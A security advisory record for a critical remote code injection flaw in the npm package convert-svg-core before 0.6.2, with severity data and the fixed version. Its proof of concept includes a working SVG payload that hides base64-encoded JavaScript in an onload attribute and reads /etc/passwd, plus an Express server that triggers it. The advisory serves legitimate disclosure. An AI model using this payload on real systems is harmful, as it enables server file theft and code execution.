GHSA-5gxc-fxcr-9326

Suggest an improvement
Source
https://github.com/advisories/GHSA-5gxc-fxcr-9326
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/07/GHSA-5gxc-fxcr-9326/GHSA-5gxc-fxcr-9326.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-5gxc-fxcr-9326
Aliases
Published
2022-07-23T00:00:16Z
Modified
2024-04-22T23:44:03Z
Severity
  • 9.8 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
convert-svg-core vulnerable to remote code injection
Details

The package convert-svg-core before 0.6.2 is vulnerable to Remote Code Injection via sending an SVG file containing the payload in an onload attribute. Puppeteer/Chromium (used by convert-svg-core) will execute any code within that tag, including malicious code.

PoC

Payload

<svg onload=eval(atob(this.id)) id='ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk+PC9zdmctZHVtbXk+PGlmcmFtZSBzcmM9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwMHB4Ij48L2lmcmFtZT48c3ZnIHZpZXdCb3g9IjAgMCAyNDAgODAiIGhlaWdodD0iMTAwMCIgd2lkdGg9IjEwMDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRleHQgeD0iMCIgeT0iMCIgY2xhc3M9IlJycnJyIiBpZD0iZGVtbyI+ZGF0YTwvdGV4dD48L3N2Zz4nKTs='></svg>

where the id attribute is the base 64-encoded form of

document.write('<svg-dummy></svg-dummy><iframe src="file:///etc/passwd" width="100%" height="1000px"></iframe><svg viewBox="0 0 240 80" height="1000" width="1000" xmlns="http://www.w3.org/2000/svg"><text x="0" y="0" class="Rrrrr" id="demo">data</text></svg>');

Attack

const { convert } = require('convert-svg-to-png');
const express = require('express');
const fileSvg = `[[[payload]]]`;
// YWxlcnQoMSk=
// function newContent(){document.open(),document.write('<text x=\"0\" y=\"0\" class=\"Rrrrr\" id=\"demo\">data</text>'),document.close()}
const app = express();
app.get('/poc', async (req, res)=>{
  try {
    const png = await convert(fileSvg);
    res.set('Content-Type', 'image/png');
    res.send(png);
  } catch (e) {
      console.log(e);
    res.send("");
  }
});
app.listen(3000, ()=>{
  console.log('started');
});
Database specific
{
    "cwe_ids": [
        "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-22T23:21:54Z",
    "nvd_published_at": "2022-07-22T20:15:00Z",
    "severity": "CRITICAL"
}
References

Affected packages

npm / convert-svg-core

Package

Name
convert-svg-core
View open source insights on deps.dev
Purl
pkg:npm/convert-svg-core

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
0.6.2

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/07/GHSA-5gxc-fxcr-9326/GHSA-5gxc-fxcr-9326.json"